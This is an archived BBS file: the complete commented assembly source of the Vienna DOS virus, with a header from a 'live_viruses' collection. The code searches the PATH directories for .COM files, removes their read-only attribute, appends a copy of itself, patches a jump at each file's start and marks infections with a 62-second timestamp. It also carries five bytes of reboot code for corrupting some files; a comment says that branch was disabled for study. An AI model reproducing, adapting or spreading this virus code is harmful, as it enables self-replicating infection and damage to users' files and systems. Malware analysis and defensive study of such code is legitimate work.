home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / vienna-b.asm < prev    next >
Assembly Source File  |  1991-04-01  |  23KB  |  639 lines

  1.  
  2. MOV_CX  MACRO   X
  3.         DB      0B9H
  4.         DW      X
  5. ENDM
  6.  
  7.  
  8. CODE    SEGMENT
  9.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  10.         ORG     $+0100H
  11.  
  12. VCODE:  JMP     virus
  13.  
  14.  
  15. ;This was the rest  of the original .COM file. Tiny and simple, this time
  16.  
  17.         NOP
  18.         NOP
  19.         NOP
  20.         NOP
  21.         NOP
  22.         NOP
  23.         NOP
  24.         NOP
  25.         NOP
  26.         NOP
  27.         NOP
  28.         NOP
  29.         NOP
  30.         NOP
  31.         NOP
  32.  
  33.  
  34.  
  35. v_start equ     $
  36.  
  37.  
  38. virus:  PUSH    CX
  39.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  40.                                         ; The 2nd and 3rd bytes get modified.
  41.         CLD                             ;Pointers will be auto INcremented
  42.         MOV     SI,DX                   ;Access data as offset from SI
  43.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  44.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  45.         MOV     CX,3
  46.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  47.         MOV     SI,DX                   ;Keep SI pointing to the data area
  48.  
  49. ;*************************************************************
  50. ;                   Check the DOS version
  51. ;*************************************************************
  52.  
  53.         MOV     AH,30H
  54.         INT     21H
  55.  
  56.         CMP     AL,0                    ;0 means it's version 1.X
  57.  
  58.         JNZ     dos_ok                  ;For version 2.0 or greater
  59.         JMP     quit                    ;Don't try to infect version 1.X
  60.  
  61.  
  62. ;*************************************************************
  63. ;  Here if the DOS version is high enough for this to work
  64. ;*************************************************************
  65.  
  66. dos_ok: PUSH    ES
  67.  
  68.  
  69. ;*************************************************************
  70. ;               Get DTA address into ES:BX
  71. ;*************************************************************
  72.  
  73.         MOV     AH,2FH
  74.         INT     21H
  75.  
  76. ;*************************************************************
  77. ;                    Save the DTA address
  78. ;*************************************************************
  79.  
  80.  
  81.         MOV     [SI+old_dta],BX
  82.         MOV     [SI+old_dts],ES         ;Save the DTA address
  83.  
  84.         POP     ES
  85.  
  86. ;*************************************************************
  87. ;        Set DTA to point inside the virus data area
  88. ;*************************************************************
  89.  
  90.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  91. ;       NOP                             ;MASM will add this NOP here
  92.         ADD     DX,SI                   ;Compute DTA address
  93.         MOV     AH,1AH
  94.         INT     21H                     ;Set new DTA to inside our own code
  95.  
  96.  
  97.         PUSH    ES
  98.         PUSH    SI
  99.         MOV     ES,DS:2CH
  100.         MOV     DI,0                    ;ES:DI points to environment
  101.  
  102. ;************************************************************
  103. ;        Find the "PATH=" string in the environment
  104. ;************************************************************
  105.  
  106. find_path:
  107.         POP     SI
  108.         PUSH    SI                      ;Get SI back
  109.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  110.         LODSB
  111.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  112.         REPNZ   SCASB                   ;Search for first character
  113.         MOV     CX,4
  114.  
  115. ;************************************************************
  116. ;       Loop to check for the next four characters
  117. ;************************************************************
  118.  
  119. check_next_4:
  120.         LODSB
  121.         SCASB
  122.         JNZ     find_path               ;If not all there, abort & start over
  123.         LOOP    check_next_4            ;Loop to check the next character
  124.  
  125.         POP     SI
  126.         POP     ES
  127.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  128.         MOV     DI,SI
  129.         ADD     DI,wrk_spc              ;File name workspace
  130.         MOV     BX,SI                   ;Save a copy of SI
  131.         ADD     SI,wrk_spc              ;Point SI to workspace
  132.         MOV     DI,SI                   ;Point DI to workspace
  133.         JMP     SHORT   slash_ok
  134.  
  135.  
  136. ;**********************************************************
  137. ;     Look in the PATH for more subdirectories, if any
  138. ;**********************************************************
  139.  
  140. set_subdir:
  141.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  142.         JNZ     found_subdir            ;If not, there are more subdirectories
  143.         JMP     all_done                ;Else, we're all done
  144.  
  145.  
  146. ;**********************************************************
  147. ;    Here if there are more subdirectories in the path
  148. ;**********************************************************
  149.  
  150. found_subdir:
  151.         PUSH    DS
  152.         PUSH    SI
  153.         MOV     DS,ES:2CH               ;DS points to environment segment
  154.         MOV     DI,SI
  155.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  156.         ADD     DI,wrk_spc              ;DI points to file name workspace
  157.  
  158.  
  159. ;***********************************************************
  160. ;      Move subdirectory name into file name workspace
  161. ;***********************************************************
  162.  
  163. move_subdir:
  164.         LODSB                           ;Get character
  165.         CMP     AL,';'                  ;Is it a ';' delimiter?
  166.         JZ      moved_one               ;Yes, found another subdirectory
  167.         CMP     AL,0                    ;End of PATH string?
  168.         JZ      moved_last_one          ;Yes
  169.         STOSB                           ;Save PATH marker into [DI]
  170.         JMP     SHORT   move_subdir
  171.  
  172. ;******************************************************************
  173. ; Mark the fact that we're looking through the final subdirectory
  174. ;******************************************************************
  175.  
  176. moved_last_one:
  177.         MOV     SI,0
  178.  
  179.  
  180. ;******************************************************************
  181. ;              Here after we've moved a subdirectory
  182. ;******************************************************************
  183.  
  184. moved_one:
  185.         POP     BX                      ;Pointer to virus data area
  186.         POP     DS                      ;Restore DS
  187.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  188.         NOP
  189.  
  190. ;******************************************************************
  191. ;             Make sure subdirectory ends in a "\"
  192. ;******************************************************************
  193.  
  194.         CMP     CH,'\'                  ;Ends with "\"?
  195.         JZ      slash_ok                ;If yes
  196.         MOV     AL,'\'                  ;Add one, if not
  197.         STOSB
  198.  
  199.  
  200. ;******************************************************************
  201. ;     Here after we know there's a backslash at end of subdir
  202. ;******************************************************************
  203.  
  204. slash_ok:
  205.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  206.         MOV     SI,BX                   ;Restore SI
  207.         ADD     SI,f_spec               ;Point to "*.COM"
  208.         MOV     CX,6
  209.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  210.  
  211.         MOV     SI,BX
  212.  
  213.  
  214. ;*******************************************************************
  215. ;                 Find first string matching *.COM
  216. ;*******************************************************************
  217.  
  218.         MOV     AH,4EH
  219.         MOV     DX,wrk_spc
  220. ;       NOP                             ;MASM will add this NOP here
  221.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  222.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  223.         INT     21H
  224.  
  225.         JMP     SHORT   find_first
  226.  
  227.  
  228. ;*******************************************************************
  229. ;              Find next ASCIIZ string matching *.COM
  230. ;*******************************************************************
  231.  
  232. find_next:
  233.         MOV     AH,4FH
  234.         INT     21H
  235.  
  236. find_first:
  237.         JNB     found_file              ;Jump if we found it
  238.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  239.  
  240. ;*******************************************************************
  241. ;                      Here when we find a file
  242. ;*******************************************************************
  243.  
  244. found_file:
  245.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  246.         AND     AL,1FH                  ;Mask to remove all but seconds
  247.         CMP     AL,1FH                  ;62 seconds -> already infected
  248.         JZ      find_next               ;If so, go find another file
  249.  
  250.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  251.         JA      find_next               ;If too long, find another one
  252.  
  253.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  254.         JB      find_next               ;Then go find another one
  255.  
  256.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  257.         PUSH    SI                      ;Save SI
  258.         ADD     SI,dta_nam              ;Point SI to file name
  259.  
  260. ;********************************************************************
  261. ;                Move the name to the end of the path
  262. ;********************************************************************
  263.  
  264. more_chars:
  265.         LODSB
  266.         STOSB
  267.         CMP     AL,0
  268.         JNZ     more_chars              ;Move characters until we find a 00
  269.  
  270.  
  271. ;********************************************************************
  272. ;                        Get File Attributes
  273. ;********************************************************************
  274.  
  275.         POP     SI
  276.         MOV     AX,OFFSET 4300H
  277.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  278. ;       NOP                             ;MASM will add this NOP here
  279.         ADD     DX,SI
  280.         INT     21H
  281.  
  282.  
  283.         MOV     [SI+old_att],CX         ;Save the old attributes
  284.  
  285.  
  286. ;********************************************************************
  287. ;         Rewrite the attributes to allow writing to the file
  288. ;********************************************************************
  289.  
  290.         MOV     AX,OFFSET 4301H         ;Set attributes
  291.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  292.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  293. ;       NOP                             ;MASM will add this NOP here
  294.         ADD     DX,SI                   ;Point to \path\name
  295.         INT     21H
  296.  
  297. ;********************************************************************
  298. ;                Open Read/Write channel to the file
  299. ;********************************************************************
  300.  
  301.         MOV     AX,OFFSET 3D02H         ;Read/Write
  302.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  303. ;       NOP                             ;MASM will add this NOP here
  304.         ADD     DX,SI                   ;Point to \path\name
  305.         INT     21H
  306.  
  307.         JNB     opened_ok               ;If file was opened OK
  308.         JMP     fix_attr                ;If it failed, restore the attributes
  309.  
  310.  
  311. ;*******************************************************************
  312. ;                        Get the file date & time
  313. ;*******************************************************************
  314.  
  315. opened_ok:
  316.         MOV     BX,AX
  317.         MOV     AX,OFFSET 5700H
  318.         INT     21H
  319.  
  320.         MOV     [SI+old_tim],CX         ;Save file time
  321.         MOV     [SI+ol_date],DX         ;Save the date
  322.  
  323. ;*******************************************************************
  324. ;                        Get current system time
  325. ;*******************************************************************
  326.  
  327.         MOV     AH,2CH
  328.         INT     21H
  329.  
  330.  
  331.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  332.  
  333. ;*******************************************************************
  334. ; The following line is a change from the original virus. Originally
  335. ;  the following line would be JNZ seven_in_eight. This would ruin
  336. ;  about 1/8 of all .COM files infected, while the other 7/8 would
  337. ;  be left workable, but infected. For the purpose of studying a
  338. ;  live virus, the changed line is not so damaging.
  339. ;*******************************************************************
  340.         JMP     SHORT   seven_in_eight
  341.  
  342.  
  343. ;*******************************************************************
  344. ; The special "one in eight" infection. If the above line were in
  345. ;  its original form, this code would be run 1/8 of the time, and
  346. ;  rather than appending a copy of this virus to the .COM file, the
  347. ;  file would get 5 bytes of code that reboot the system when the
  348. ;  .COM file is run.
  349. ;*******************************************************************
  350.  
  351.  
  352.         MOV     AH,40H                  ;Write to file
  353.         MOV     CX,5                    ;Five bytes
  354.         MOV     DX,SI
  355.         ADD     DX,reboot               ;Offset of reboot code in data area
  356.         INT     21H
  357.  
  358.         JMP     SHORT   fix_time_stamp
  359.  
  360.         NOP
  361.  
  362.  
  363. ;******************************************************************
  364. ;      Here;s where we infect a .COM file with this virus
  365. ;******************************************************************
  366.  
  367. seven_in_eight:
  368.         MOV     AH,3FH
  369.         MOV     CX,3
  370.         MOV     DX,first_3
  371. ;       NOP                     ;MASM will add this NOP here
  372.         ADD     DX,SI
  373.         INT     21H             ;Save first 3 bytes into the data area
  374.  
  375.         JB      fix_time_stamp  ;Quit, if read failed
  376.  
  377.         CMP     AX,3            ;Were we able to read all 3 bytes?
  378.         JNZ     fix_time_stamp  ;Quit, if not
  379.  
  380.  
  381. ;******************************************************************
  382. ;              Move file pointer to end of file
  383. ;******************************************************************
  384.  
  385.         MOV     AX,OFFSET 4202H
  386.         MOV     CX,0
  387.         MOV     DX,0
  388.         INT     21H
  389.  
  390.         JB      fix_time_stamp  ;Quit, if it didn't work
  391.  
  392.         MOV     CX,AX           ;DX:AX (long int) = file size
  393.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  394.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  395.  
  396.         ADD     CX,OFFSET c_len_y
  397.         MOV     DI,SI           ;Point DI to virus data area
  398.         SUB     DI,OFFSET c_len_x
  399.                                 ;Point DI to reference vir_dat, at start of pgm
  400.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  401.  
  402.  
  403. ;*******************************************************************
  404. ;                    Write virus code to file
  405. ;*******************************************************************
  406.  
  407.         MOV     AH,40H
  408.  
  409.         MOV_CX  virlen                  ;Length of virus, in bytes
  410.  
  411.         MOV     DX,SI
  412.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  413.                                         ; address of virus code in memory
  414.         INT     21H
  415.  
  416.         JB      fix_time_stamp          ;Jump if error
  417.  
  418.         CMP     AX,OFFSET virlen        ;All bytes written?
  419.         JNZ     fix_time_stamp          ;Jump if error
  420.  
  421.  
  422. ;**********************************************************************
  423. ;                Move file pointer to beginning of the file
  424. ;**********************************************************************
  425.  
  426.         MOV     AX,OFFSET 4200H
  427.         MOV     CX,0
  428.         MOV     DX,0
  429.         INT     21H
  430.  
  431.         JB      fix_time_stamp          ;Jump if error
  432.  
  433.  
  434. ;**********************************************************************
  435. ;              Write the 3 byte JMP at the start of the file
  436. ;**********************************************************************
  437.  
  438.         MOV     AH,40H
  439.         MOV     CX,3
  440.         MOV     DX,SI                   ;Virus data area
  441.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  442.         INT     21H
  443.  
  444.  
  445. ;**********************************************************************
  446. ;       Restore old file date & time, with seconds modified to 62
  447. ;**********************************************************************
  448.  
  449. fix_time_stamp:
  450.         MOV     DX,[SI+ol_date]         ;Old file date
  451.         MOV     CX,[SI+old_tim]         ;Old file time
  452.         AND     CX,OFFSET 0FFE0H
  453.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  454.         MOV     AX,OFFSET 5701H
  455.         INT     21H
  456.  
  457.  
  458. ;**********************************************************************
  459. ;                              Close File
  460. ;**********************************************************************
  461.  
  462.         MOV     AH,3EH
  463.         INT     21H
  464.  
  465.  
  466. ;**********************************************************************
  467. ;                     Restore Old File Attributes
  468. ;**********************************************************************
  469.  
  470. fix_attr:
  471.         MOV     AX,OFFSET 4301H
  472.         MOV     CX,[SI+old_att]         ;Old Attributes
  473.         MOV     DX,wrk_spc
  474. ;       NOP                             ;MASM will add this NOP
  475.         ADD     DX,SI                   ;DX points to \path\name in workspace
  476.         INT     21H
  477.  
  478.  
  479. ;**********************************************************************
  480. ;              Here when it's time to close it up & end
  481. ;**********************************************************************
  482.  
  483. all_done:
  484.         PUSH    DS
  485.  
  486.  
  487. ;**********************************************************************
  488. ;                         Restore old DTA
  489. ;**********************************************************************
  490.  
  491.         MOV     AH,1AH
  492.         MOV     DX,[SI+old_dta]
  493.         MOV     DS,[SI+old_dts]
  494.         INT     21H
  495.  
  496.         POP     DS
  497.  
  498.  
  499. ;*************************************************************************
  500. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  501. ;  in since the address in a real JMP 100 is an offset, and the offset
  502. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  503. ;  stack, we can RET to address 0100H just as though we JMPed there.
  504. ;**********************************************************************
  505.  
  506. quit:
  507.         POP     CX
  508.         XOR     AX,AX
  509.         XOR     BX,BX
  510.         XOR     DX,DX
  511.         XOR     SI,SI
  512.         MOV     DI,OFFSET 0100H
  513.         PUSH    DI
  514.         XOR     DI,DI
  515.  
  516.         RET     0FFFFH
  517.  
  518. ;************************************************************************
  519. ;The virus data starts here. It's accessed off the SI register, per the
  520. ; comments as shown
  521. ;************************************************************************
  522.  
  523. vir_dat EQU     $
  524.  
  525.  
  526.         ;Use this with (SI + old_dta)
  527. olddta_ DW      0                       ;Old DTA offset
  528.  
  529.         ;Use this with (SI + old_dts)
  530. olddts_ DW      0                       ;Old DTA segment
  531.  
  532.         ;Use this with (SI + old_tim)
  533. oldtim_ DW      0                       ;Old Time
  534.  
  535.         ;Use this with (SI + ol_date)
  536. oldate_ DW      0                       ;Old date
  537.  
  538.         ;Use this with (SI + old_att)
  539. oldatt_ DW      0                       ;Old file attributes
  540.  
  541.  
  542.  
  543. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  544.  
  545. first3_ EQU     $
  546.         INT     20H
  547.         NOP
  548.  
  549.  
  550.  
  551. ;Here's where the new JMP instruction is worked out
  552.  
  553.         ;Use this with (SI + jmp_op)
  554. jmpop_  DB      0E9H                    ;Start of JMP instruction
  555.  
  556.         ;Use this with (SI + jmp_dsp)
  557. jmpdsp_ DW      0                       ;The displacement part
  558.  
  559.  
  560.  
  561. ;This is the type of file  we're looking to infect. (SI + f_spec)
  562.  
  563. fspec_  DB      '*.COM',0
  564.  
  565.         ;Use this with (SI + path_ad)
  566. pathad_ DW      0                       ;Path address
  567.  
  568.         ;Use this with (SI + nam_ptr)
  569. namptr_ DW      0                       ;Pointer to start of file name
  570.  
  571.         ;Use this with (SI + env_str)
  572. envstr_ DB      'PATH='                 ;Find this in the environment
  573.  
  574.         ;File name workspace (SI + wrk_spc)
  575. wrkspc_ DB      40h dup (0)
  576.  
  577.         ;Use this with (SI + dta)
  578. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  579.  
  580.         ;Use this with (SI + dta_tim)
  581. dtatim_ DW      0,0                     ;Time stamp in DTA
  582.  
  583.         ;Use this with (SI + dta_len)
  584. dtalen_ DW      0,0                     ;File length in the DTA
  585.  
  586.         ;Use this with (SI + dta_nam)
  587. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  588.  
  589.         ;Use this with (SI + reboot)
  590. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  591.  
  592.  
  593. lst_byt EQU     $                       ;All lines that assemble into code are
  594.                                         ;  above this one
  595.  
  596.  
  597. ;*****************************************************************************
  598. ;The virus needs to know a few details about its own size and the size of its
  599. ; code portion. Let the assembler figure out these sizes automatically.
  600. ;*****************************************************************************
  601.  
  602. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  603. codelen =       vir_dat - v_start       ;Length of virus code, only
  604. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  605. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  606.  
  607.  
  608. ;*****************************************************************************
  609. ;Because this code is being appended to the end of an executable file, the
  610. ; exact address of its variables cannot be known. All are accessed as offsets
  611. ; from SI, which is represented as vir_dat in the below declarations.
  612. ;*****************************************************************************
  613.  
  614. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  615. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  616. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  617. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  618. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  619. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  620. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  621. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  622. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  623. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  624. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  625. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  626. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  627. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  628. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  629. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  630. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  631. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  632.  
  633.         CODE    ENDS
  634. END     VCODE
  635.  
  636.  
  637.  
  638.  
  639.